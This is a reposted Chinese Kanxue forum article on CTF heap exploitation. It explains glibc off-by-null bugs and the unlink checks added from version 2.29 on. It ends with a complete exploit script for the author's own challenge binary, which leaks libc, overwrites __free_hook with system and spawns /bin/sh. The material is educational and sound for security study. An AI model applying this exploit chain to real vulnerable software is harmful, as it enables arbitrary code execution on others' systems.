新人PWN堆Heap总结off-by-null专场
2021-09-15 18:59:49 Author: mp.weixin.qq.com(查看原文) 阅读量:47 收藏


本文为看雪论坛优秀文章
看雪论坛作者ID:PIG-007

off-by-null是堆中的常见漏洞,很多时候都是结合堆布局来进行利用的。这里结合原理解析、不同版本和条件的off-by-null以及常见的漏洞条件做个总结。

主要发生在_int_free的unlink中:
//2.23 when size>global_max_fast /* consolidate backward */if (!prev_inuse(p)) {    prevsize = p->prev_size;    size += prevsize;    p = chunk_at_offset(p, -((long) prevsize));    unlink(av, p, bck, fwd);}  if (nextchunk != av->top) {    /* get and clear inuse bit */    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);     /* consolidate forward */    if (!nextinuse) {        unlink(av, nextchunk, bck, fwd);        size += nextsize;    }   /* Take a chunk off a bin list */#define unlink(AV, P, BK, FD) {                                                FD = P->fd;                                          BK = P->bk;                                          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      malloc_printerr (check_action, "corrupted double-linked list", P, AV);      else {                                              FD->bk = BK;                                          BK->fd = FD;                                          if (!in_smallbin_range (P->size)                                  && __builtin_expect (P->fd_nextsize != NULL, 0))        {                          if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)                          || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))                    malloc_printerr (check_action,                                                       "corrupted double-linked list (not small)",                                     P, AV);                                      if (FD->fd_nextsize == NULL) {                                      if (P->fd_nextsize == P)                                          FD->fd_nextsize = FD->bk_nextsize = FD;                              else {                                                      FD->fd_nextsize = P->fd_nextsize;                                      FD->bk_nextsize = P->bk_nextsize;                                      P->fd_nextsize->bk_nextsize = FD;                                      P->bk_nextsize->fd_nextsize = FD;                                  }                                              } else {                                                  P->fd_nextsize->bk_nextsize = P->bk_nextsize;                              P->bk_nextsize->fd_nextsize = P->fd_nextsize;                          }                                              }                                          }}

为了方便,依据物理地址相邻来命名如下:
 
 
即当size大于global_max_fast且不是mmap出来的chunk时,就会进入判断。所以这里我们进行释放用的chunk的大小就必须要大于global_max_fast才行,否则就是改掉了pre_inuse位也是直接进入fastbin,不会进入判断的。
先依据当前chunk(chunkP)的pre_inuse位来判断前一个chunk(preChunk)是否处于释放状态,是则进入unlink,将前一个chunk取出。
然后判断下一个chunk(nextChunk)是否是top_chunk,是则直接与top_chunk合并。
若nextChunk不为top_chunk,再判断下一个Chunk的再下一个chunk的pre_inuse位来判断nextChunk是否处于释放状态,若是则进入unlink。
然后unlink中就不细说,就是双向循环链表解链的过程,依据fd和bk来查找并解链,但是我们的off-by-null通常不会涉及到nextsize位的使用,所以基本不用看后面的。需要注意的是,由于这里会检查,即:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

所以我们需要将进入unlink的chunk的fd和bk来进行伪造或者干脆直接释放使其直接进入unsortedbin中完成双向链表的加持。这里先讲放入unsortedbin中来获取fd和bk的方法,伪造的方法一般用在2.29及以上的高版本中,因为那时候的unlink加入了关于size位的检查,不能简单得伪造fd和bk。
 
其次,这里还需要明白一个寻找chunk的原理。

寻找preChunk:preChunk_addr = chunkP_addr - chunkP->pre_size

寻找nextChunk:nextChunk_addr = chunkP_addr + chunkP->size

即以下源码,这个一直没有变化过:
/* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p))) /* Ptr to next physical malloc_chunk. */#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p))) /* Get size, ignoring use bits */#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS)) /* extract p's inuse bit */#define inuse(p)                                  \  ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)

所以,如果我们可以伪造pre_size和in_use位,就能触发向上任意寻找一个满足fd和bk为双向链表的chunk,从而将中间所有的chunk都一并合并为一个Chunk释放掉。(向下合并也可以的,不过一般不常使用)
 
 
这里就是通过释放chunkP,依据pre_size向上寻找到原本已经在unsortedbin中的preChunk,其FD和BK已经组成双向循环链表,可以绕过检查,所以释放ChunkP之后preChunk+OverlapChunk+chunkP都进入到unsortedbin中。
但是OverlapChunk本身其实并没有被释放,我们再从unsortedbin中申请切割出preChunk大小的chunk,再申请就可以得到OverlapChunk。这样我们就有两个指针都指向OverlapChunk,从而伪造出UAF,之后我们就可以通过OverlapChunk来getshell了。

1、常用布局

add_malloc(0xf8,'\x00'*0xf8)    #0x1add_malloc(0x68,'\x00'*0x68)    #0x2add_malloc(0xf8,'\x00'*0xf8)    #0x3add_malloc(0x68,'\x00'*0x68)    #0x4free(0x1)edit(0x2,0x70,'\x00'*0x60+p64(0x70+0x100)+p16(0x100))free(0x3)

off-by-null在调试中不太好搞,所以我就借用堆溢出来假设存在off-by-null,将chunk3原本的size位0x101通过off-by-null变成0x100即可。

2、注意事项

(1)顺序

此外需要注意的是,需要先释放chunk1,再溢出修改chunk3。不然如果先修改chunk3,那么释放chunk1的时候,寻找chunk1的nextChunk即chunk2,判断chunk2是否处于释放状态时,会找到chunk3,依据pre_inuse位发现chunk2已经处于释放状态,那么尝试进入unlink合并,但是这里的chunk2的fd和bk并没有组成双向循环链表,所以会出错。

(2)size位的设置

0x100:这里注意到上面的布局中size位为0x100和0x70,这里的0x100就是为了通过off-by-null将0x101变成0x100设置的。当然设置为0x201,0x301通常也是一样的。

0x70:这里就通常是为了方便打fastbin attack,从_malloc_hook处构造0x7f字节错位用的。

1、Glibc2.27

这里也不是特指2.27,而指的是Glibc2.29以下的存在tcache的版本,这类版本通常需要填充满tcache再进行释放,也不需要多讲。

2、Glibc2.29

从这个版本开始,off-by-null由于加入的检查,引入了好几种全新的利用方式。

(1)_int_free中的变化

if (!prev_inuse(p)) {    prevsize = prev_size (p);    size += prevsize;    p = chunk_at_offset(p, -((long) prevsize));    if (__glibc_unlikely (chunksize(p) != prevsize))        malloc_printerr ("corrupted size vs. prev_size while consolidating");    unlink_chunk (av, p);}

加入的检查是:
if (__glibc_unlikely (chunksize(p) != prevsize))    malloc_printerr ("corrupted size vs. prev_size while consolidating");

这里的p因为p = chunk_at_offset(p, -((long) prevsize));已经变成了preChunk。所以这里就是检查preChunk->size是否等于chunkP->pre_size。按照上面那张图的逻辑,preChunk的size为0x101,chunkP的pre_size为0x170,两个不等于,根本就无法进入unlink中,直接崩掉。
 

(2)unlink变化

首先unlink从宏定义变成了全局函数定义,名字也从unlink变成了unlink_chunk,但实际内容没有变太多,只是加入了一些检查:
/* Take a chunk off a bin list.  */static void    unlink_chunk (mstate av, mchunkptr p){    if (chunksize (p) != prev_size (next_chunk (p)))        malloc_printerr ("corrupted size vs. prev_size");     mchunkptr fd = p->fd;    mchunkptr bk = p->bk;     if (__builtin_expect (fd->bk != p || bk->fd != p, 0))        malloc_printerr ("corrupted double-linked list");     fd->bk = bk;    bk->fd = fd;    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)    {        if (p->fd_nextsize->bk_nextsize != p            || p->bk_nextsize->fd_nextsize != p)            malloc_printerr ("corrupted double-linked list (not small)");         if (fd->fd_nextsize == NULL)        {            if (p->fd_nextsize == p)                fd->fd_nextsize = fd->bk_nextsize = fd;            else            {                fd->fd_nextsize = p->fd_nextsize;                fd->bk_nextsize = p->bk_nextsize;                p->fd_nextsize->bk_nextsize = fd;                p->bk_nextsize->fd_nextsize = fd;            }        }        else        {            p->fd_nextsize->bk_nextsize = p->bk_nextsize;            p->bk_nextsize->fd_nextsize = p->fd_nextsize;        }    } }

加入的检查,就加了一个if语句:
if (chunksize (p) != prev_size (next_chunk (p)))  malloc_printerr ("corrupted size vs. prev_size");

即在unlink时会检查nextChunk的pre_size是否等于chunkP的size。
 
按照之前那张图的逻辑,进入unlink中时preChunk的size为0x100,preChunk的nextChunk,即overlapChunk的pre_size为0x100,相等,可以满足要求,没啥大用,但是之后提出的绕过手段也是需要绕过这个检查的。
 
 
后面的更高版本,到2.33都没变化,也就不提了。只是2.32中的指针异或可能需要注意一下,但是之后的绕过手段一般是基于unsortedbin,smallbin,largebin来绕过,不存在指针异或的情况,所以也不用太在意。

这里讲的是2.29及以上的版本。

第一种

这个之前写过,参考这篇文章:
 
2.29下的off-by-null | PIG-007
https://www.pig-007.top/2021/08/14/2.29%E4%B8%8B%E7%9A%84off-by-null/
 
或者t1an5g师傅的文章:
https://bbs.pediy.com/thread-257901.htm#msg_header_h2_2
 
当然ex师傅的原始解析也很好:
http://blog.eonew.cn/archives/1233
 
但是这个需要爆破半个字节,也不能对size做太多的限制,且chunk需要申请大概有24个,所以看个人需要。

第二种

这个也写过,参考这篇:
 
2.29-2.32下的off-by-null | PIG-007
https://www.pig-007.top/2021/08/14/2.29-2.32%E4%B8%8B%E7%9A%84off-by-null/
 
当然我也是参考WJH师傅的:
glibc 2.29-2.32 off by null bypass - 安全客,安全资讯平台 (anquanke.com)https://www.anquanke.com/post/id/236078
 
这个不需要爆破,但是对size的限制不能太严格,需要largebin的size。

第三种

这个还没写过总结,现在来,不过先贴下文章,init-0师傅的:
 
堆漏洞利用(2.29以上glibc,off-by-null, 加了申请size限制) - 安全客,安全资讯平台 (anquanke.com)https://www.anquanke.com/post/id/231418#h3-8
 
这种方法在size限制下也可以使用,文章中的限制是0xe8的堆块,真是将堆布局用到极高的水平。
 
先看最终的布局效果:
 
 
这样就能通过两项检查了:
//_int_free中if (__glibc_unlikely (chunksize(p) != prevsize))    malloc_printerr ("corrupted size vs. prev_size while consolidating"); //unlink中if (chunksize (p) != prev_size (next_chunk (p)))    malloc_printerr ("corrupted size vs. prev_size");


(1)前置布局:

由于init-0师傅的题目中,申请chunk是从0x3a0开始的,所以这里我就也以0x3a0开始:
#get layout to let chunk0_addr = 0x****3a0claim(0x88)# 0-6            #1-7claim(0x98)# 7-13            #8-14claim(0xa8)# 14-20            #15-21claim(0xb8)# 21-27            #22-28claim(0xc8)# 28-34            #29-35claim(0xd8)# 35-41            #36-42claim(0xe8)# 42-48            #43-49 #--------------------------add_malloc(0x98,'\x00')# 49                 #50add_malloc(0x98,'\x00')# 50                 #51        0x****f900add_malloc(0x18,'\x00')# 51                  #52     0x****f9a0add_malloc(0xa8,'\x00')# 52     0             #53        0x****f9c0add_malloc(0xb8,'\x00')# 53     1             #54        0x****fa70add_malloc(0xd8,'\x00')# 54     2             #55        0x****fb30add_malloc(0xd8,'\x00')# 55                 #56       add_malloc(0xe8,'\x00')# 56     3             #57        0x****fcf0 #这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的fakeChunk_nextChunk_preSize = p64(0x200) + p64(0xe0)edit(57,0x10,fakeChunk_nextChunk_preSize)# 56            #57 add_malloc(0xe8,'\x00')# 57    4             #58     0x****fde0add_malloc(0x98,'\x00')# 58                 #59add_malloc(0xe8,'\x00')# 59                 #60     0x****ff70add_malloc(0x18,'\x00')# 60                 #61


(2)填充tcache

并且将要利用的Chunk释放合并进入unsortedbin。
#free 0~48         #1~49#-------------------------#--tcachefor i in range(0,7):  #0x88         free(i+1)for i in range(14,21):#0xa8    free(i+1)for i in range(21,28):#0xb8    free(i+1)for i in range(35,42):#0xd8    free(i+1)for i in range(42,49):#0xe8    free(i+1)   #--tcache for i in range(52,57): #52~56                  #53~57  merge into unsortedbin    free(i+1)
graph TD;    0(chunk53<br>0xa8<br>0x****9c0)-->1(chunk54<br>0xb8)-->2(chunk55<br>0xd8)-->3(chunk56<br>0xd8)-->4(chunk57<br>0xe8<br>0x****cf0)

(3)重构53~57结构为97~101

#---------------------------# empty tcacheclaim(0x88) #62~68claim(0xa8) #69~75claim(0xb8) #76~82claim(0xd8) #83~89claim(0xe8) #90~96#--------------------------- #---------------------------------------------------------------- 上面是一个大的unsorted bin#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配add_malloc(0x98,'\x00')# 52     #97      #0x****9c0add_malloc(0x98,'\x00')# 53     #98        #0x****A60 fake_chunk_size = 0x98 * "a" + p16(0x200)#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200#changing largebinChunk_size will not cause abortedit(98,0x98+0x2,fake_chunk_size)#53 #98add_malloc(0x88,'\x00')#54     #99     #0x****B00add_malloc(0x88,'\x00')#55  #100     #0x****B90add_malloc(0xd8,'\x00')#56  #101     #0x****C70

重构之后如下:
graph TD;    0(chunk97<br>0x98<br>0x****9c0)-->1(chunk98<br>0x98)-->2(chunk99<br>0x88)-->3(chunk100<br>0x88)-->4(chunk101<br>0xd8<br>0x****cf0)-->5(0xe0碎片)

那么实际上其实原先的0x420被申请了0x340,还有一部分0xe0没有被申请出来。
 

(4)构造preChunk的fd和bk

#------tcachefor i in range(7,14):#0x98    free(i+1)for i in range(0,7):#0x88    free(i+1)for i in range(42,49):#0xe8    free(i+1)       #------tcache  free(51)#0x98     #50      #51 #0x****f900#let 99->fd = chunk51_addr(0x****f900)free(99)#0x88      #54     #99#let 99->bk = chunk60_addr(0x****ff70)free(60)#0xe8     #59     #60 #0x****ff70

(5)再重构97~101为97->124->132->134

free(98)#0x98     #53     #98 #---------------add backclaim(0x88) #102~108claim(0x98) #109~115claim(0xe8) #116~122#---------------add back #将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块#之后依据大小适配原则将60分配回来给123add_malloc(0xd8,'\x00')# 0x32        #123 0x****ff70,实际大小为0xf0#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中add_malloc(0xb8,'\x00')# 0x35          #124 0x****fa60 for i in range(0,7):#0x88    free(i+1)#chunk100放入unsortedbin, 与0x70的碎片合并,形成0x101的块free(100)             #55     #100 claim(0x88)    #125~131 #切割0x101的块,获得0xb8大小的0x****fb20,方便与0x****f900的块放入同一个unsortebin中add_malloc(0xb8,'\x00')#0x36     #132     0x****fb20add_malloc(0x98,'\x00')#0x37      #133    0x****f900add_malloc(0x38,'\x00')#0x3b     #134     0x****fbe0

重构之后如下:
graph TD;    0(chunk97<br>0x98<br>0x****f9c0)-->1(chunk124<br>0xb8<br>chunk99被包含<br>0x****fa60)-->2(chunk132<br>0xb8<br>0x****fb20)-->3(chunk134<br>0x38<br>0x****fbe0)-->4(0xe0碎片)


(6)修复FD->bk和BK->fd

#------tcachefor i in range(42,49):#0xe8    free(i+1)       for i in range(7,14):#0x98    free(i+1)for i in range(21,28):#0xb8    free(i+1)#------tcache #let 133->bk = chunk132_addr(0x****f900->bk = 0x****fb20)free(133) #0x37     #133     0x****f900free(132) #0x36      #132     0x****fb20#let 123->fd = chunk132_addr(0x****ff70->bk = 0x****fb20)free(123) #0x32     #123      0x****ff70


(7)再重构为97->124->157->134

方便将0x****ff70和0x****f900的对于fd,bk进行off-by-null,使得0xb20变为0xb00。
free(59)  #58        #59        0x****fed0#chunk59和chunk123合并进入unsortedbin,大小0x190(0xf0+0xa0) claim(0x98)     #135~141claim(0xb8)        #142~148claim(0xe8)     #149~155 add_malloc(0xc8,'\x00')        #0x32         #156     0x****fed0   add_malloc(0xb8,'\x00')        #0x36         #157     0x****fb20add_malloc(0xb8,'\x00')        #0x37          #158    0x****ffa0add_malloc(0x98,'\x00')        #58          #159     0x****f900 #--top_chunkadd_malloc(0x98,'\x00')        #0x3d             #160add_malloc(0x98,'\x00')        #0x3e             #161add_malloc(0x18,'\x00')        #0x3f             #162 #------tcachefor i in range(7,14):#0x98    free(i+1)for i in range(21,28):#0xb8    free(i+1)#------tcache  free(161) #0x98     #0x3e         #161free(159) #0x98     #58          #159     0x****f900free(157) #0xb8     #0x36         #157free(50)  #0x98     #49         #50     0x****f860#其中159和50合并为0x140大小的块放入unsortedbin中#unsortedbin:0x****f860 —▸ 0x****fb20 —▸ 0x****0120 claim(0xb8) #163~169claim(0x98) #170~176#----------------------------------------------------add_malloc(0xb8,'\x00') #49     #177add_malloc(0x98,'\x00') #0x36      #178 #切割0x140的块add_malloc(0xc8,'\x00')#0x3a     #179     0x****f860add_malloc(0x68,'\x00')#0x3e       #180

现在就可以通过chunk179来将0x****f900中的bk给改掉。
 
通过chunk156来将0x****ff70中的fd给改掉。

(8)利用off-by-null得到最终布局

partial_null_write = 0x98*'b'partial_null_write += p64(0xf1)edit(156,0x98+0x8+0x1,partial_null_write+'\x00') #0x32      #156 partial_null_write = 0xa8*'c'edit(179,0xa8+0x1,partial_null_write + '\x00')         #0x3a         #179 #伪造pre_sizefake_chunk_size = 0x98*'d'fake_chunk_size += p64(0x2e1)edit(124,0x98+0x8,fake_chunk_size)     #0x35     #124


(9)触发off-by-null

for i in range(42,49):#0xe8    free(i+1)   free(58)


总结

①利用unsortedbin成链机制,合并unsortedbin中的chunk并且切割,这样就能保留住FD和BK了。
 
②再利用unsortedbin成链和切割的机制,就能修改到对应preChunk的FD和BK了,修改最后一个字节为\x00即可。
 
③由于2.29之后的添加的两项检查,所以需要注意的是伪造unsortedbinChunk的size时,也要伪造nextChunk的pre_size和pre_inuse位。
 
④太麻烦了,有这时间布局还不如肝其他题。
 
再贴个汇总的exp,基于libc2.30,自己的题目:
#有size限制,对应索引往后移即可add_malloc(0x1000-0x290+0x3000-0x8+0x3a0,'PIG007NB')             #old             #new#get layout to let chunk0_addr = 0x****3a0claim(0x88)# 0-6            #1-7claim(0x98)# 7-13            #8-14claim(0xa8)# 14-20            #15-21claim(0xb8)# 21-27            #22-28claim(0xc8)# 28-34            #29-35claim(0xd8)# 35-41            #36-42claim(0xe8)# 42-48            #43-49 #--------------------------add_malloc(0x98,'\x00')# 49                 #50add_malloc(0x98,'\x00')# 50                 #51        0x****f900add_malloc(0x18,'\x00')# 51                  #52     0x****f9a0add_malloc(0xa8,'\x00')# 52     0             #53        0x****f9c0add_malloc(0xb8,'\x00')# 53     1             #54        0x****fa70add_malloc(0xd8,'\x00')# 54     2             #55        0x****fb30add_malloc(0xd8,'\x00')# 55                 #56       add_malloc(0xe8,'\x00')# 56     3             #57        0x****fcf0 #这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的fakeChunk_nextChunk_preSize = p64(0x200) + p64(0xe0)edit(57,0x10,fakeChunk_nextChunk_preSize)# 56            #57 add_malloc(0xe8,'\x00')# 57    4             #58     0x****fde0add_malloc(0x98,'\x00')# 58                 #59add_malloc(0xe8,'\x00')# 59                 #60     0x****ff70add_malloc(0x18,'\x00')# 60                 #61 #free 0~48         #1~49#-------------------------#--tcachefor i in range(0,7):  #0x88         free(i+1)for i in range(14,21):#0xa8    free(i+1)for i in range(21,28):#0xb8    free(i+1)for i in range(35,42):#0xd8    free(i+1)for i in range(42,49):#0xe8    free(i+1)   #--tcache for i in range(52,57): #52~56                  #53~57  merge into unsortedbin    free(i+1) #---------------------------# empty tcacheclaim(0x88) #62~68claim(0xa8) #69~75claim(0xb8) #76~82claim(0xd8) #83~89claim(0xe8) #90~96#--------------------------- #---------------------------------------------------------------- 上面是一个大的unsorted bin#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配add_malloc(0x98,'\x00')# 52     #97      #0x****9c0add_malloc(0x98,'\x00')# 53     #98        #0x****A60 fake_chunk_size = 0x98 * "a" + p16(0x200)#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200#changing largebinChunk_size will not cause abortedit(98,0x98+0x2,fake_chunk_size)#53 #98add_malloc(0x88,'\x00')#54     #99     #0x****B00add_malloc(0x88,'\x00')#55  #100     #0x****B90add_malloc(0xd8,'\x00')#56  #101     #0x****C70  #构造preChunk的fd和bk------------------------#------tcachefor i in range(7,14):#0x98    free(i+1)for i in range(0,7):#0x88    free(i+1)for i in range(42,49):#0xe8    free(i+1)       #------tcache  free(51)#0x98     #50      #51 #0x****f900#let 99->fd = chunk51_addr(0x****f900)free(99)#0x88      #54     #99#let 99->bk = chunk60_addr(0x****ff70)free(60)#0xe8     #59     #60 #0x****ff70#构造preChunk的fd和bk------------------------  free(98)#0x98     #53     #98 #---------------add backclaim(0x88) #102~108claim(0x98) #109~115claim(0xe8) #116~122#---------------add back #将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块#之后依据大小适配原则将60分配回来给123add_malloc(0xd8,'\x00')# 0x32        #123 0x****ff70,实际大小为0xf0#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中add_malloc(0xb8,'\x00')# 0x35          #124 0x****fa60 for i in range(0,7):#0x88    free(i+1)#chunk100放入unsortedbin, 与0x70的碎片合并,形成0x101的块free(100)             #55     #100 claim(0x88)    #125~131 #切割0x101的块,获得0xb8大小的0x****fb20,方便与0x****f900的块放入同一个unsortebin中add_malloc(0xb8,'\x00')#0x36     #132     0x****fb20add_malloc(0x98,'\x00')#0x37      #133    0x****f900add_malloc(0x38,'\x00')#0x3b     #134     0x****fbe0  #修复FD->bk和BK->fd-----------------------------#------tcachefor i in range(42,49):#0xe8    free(i+1)       for i in range(7,14):#0x98    free(i+1)for i in range(21,28):#0xb8    free(i+1)#------tcache #let 133->bk = chunk132_addr(0x****f900->bk = 0x****fb20)free(133) #0x37     #133     0x****f900free(132) #0x36      #132     0x****fb20#let 123->fd = chunk132_addr(0x****ff70->bk = 0x****fb20)free(123) #0x32     #123      0x****ff70#修复FD->bk和BK->fd-----------------------------  free(59)  #58        #59        0x****fed0#chunk59和chunk123合并进入unsortedbin,大小0x190(0xf0+0xa0) claim(0x98)     #135~141claim(0xb8)        #142~148claim(0xe8)     #149~155 add_malloc(0xc8,'\x00')        #0x32         #156     0x****fed0   add_malloc(0xb8,'\x00')        #0x36         #157     0x****fb20add_malloc(0xb8,'\x00')        #0x37          #158    0x****ffa0add_malloc(0x98,'\x00')        #58          #159     0x****f900 #--top_chunkadd_malloc(0x98,'\x00')        #0x3d             #160add_malloc(0x98,'\x00')        #0x3e             #161add_malloc(0x18,'\x00')        #0x3f             #162 #------tcachefor i in range(7,14):#0x98    free(i+1)for i in range(21,28):#0xb8    free(i+1)#------tcache  free(161) #0x98     #0x3e         #161free(159) #0x98     #58          #159     0x****f900free(157) #0xb8     #0x36         #157free(50)  #0x98     #49         #50     0x****f860#其中159和50合并为0x140大小的块放入unsortedbin中#unsortedbin:0x****f860 —▸ 0x****fb20 —▸ 0x****0120 claim(0xb8) #163~169claim(0x98) #170~176#----------------------------------------------------add_malloc(0xb8,'\x00') #49     #177add_malloc(0x98,'\x00') #0x36      #178 #切割0x140的块add_malloc(0xc8,'\x00')#0x3a     #179     0x****f860add_malloc(0x68,'\x00')#0x3e       #180      partial_null_write = 0x98*'b'partial_null_write += p64(0xf1)edit(156,0x98+0x8+0x1,partial_null_write+'\x00') #0x32      #156 partial_null_write = 0xa8*'c'edit(179,0xa8+0x1,partial_null_write + '\x00')         #0x3a         #179 #伪造pre_sizefake_chunk_size = 0x98*'d'fake_chunk_size += p64(0x2e1)edit(124,0x98+0x8,fake_chunk_size)     #0x35     #124  for i in range(42,49):#0xe8    free(i+1)   free(58)  #pull-down the unsortedbinChunk to chunk134 and leak main_arenaedit(134,0x8,"e"*8)  #0x3b #134add_malloc(0xd8,'\x00')     #181show(134) libc_base = u64Leakbase(unsortedBinIdx + libc.sym['__malloc_hook'] + 0x10)lg('libc_base',libc_base)  #---------------------------------------------------------------------------------claim(0xe8)     #182~188add_malloc(0xe8,'\x00')        #0x40     #189free(44)     #0x2b     #44free(134)     #0x3b     #134edit(189,0x8,p64(libc_base+libc.sym['__free_hook']-8))     #0x40     #189add_malloc(0xe8,'\x00')          #190add_malloc(0xe8,'\x00')         #191 edit(191,0x10,"/bin/sh\x00"+p64(libc_base+libc.sym['system']))     #191free(191)it()#--------------------------------------------------------------

 

看雪ID:PIG-007

https://bbs.pediy.com/user-home-904686.htm

*本文由看雪论坛 PIG-007 原创,转载请注明来自看雪社区

# 往期推荐

1. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析

2. DASCTF八月挑战赛 re

3.对使用系统调用进行收发包的frida hook抓包

4. 恶意样本分析——XOR加密与进程注入

5. 超级长的IE调试总结:CVE-2013-1347 IE CGenericElement UAF漏洞分析

6. MS17-010 “永恒之蓝”漏洞分析与复现

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458392540&idx=1&sn=75525c0ee1d799edbf118b4e19b81e3a&chksm=b18f275686f8ae40bacfec040a64b645227ce1f5554cdc5e95c337b63573d1ec67a57bebec01#rd
如有侵权请联系:admin#unsafe.sh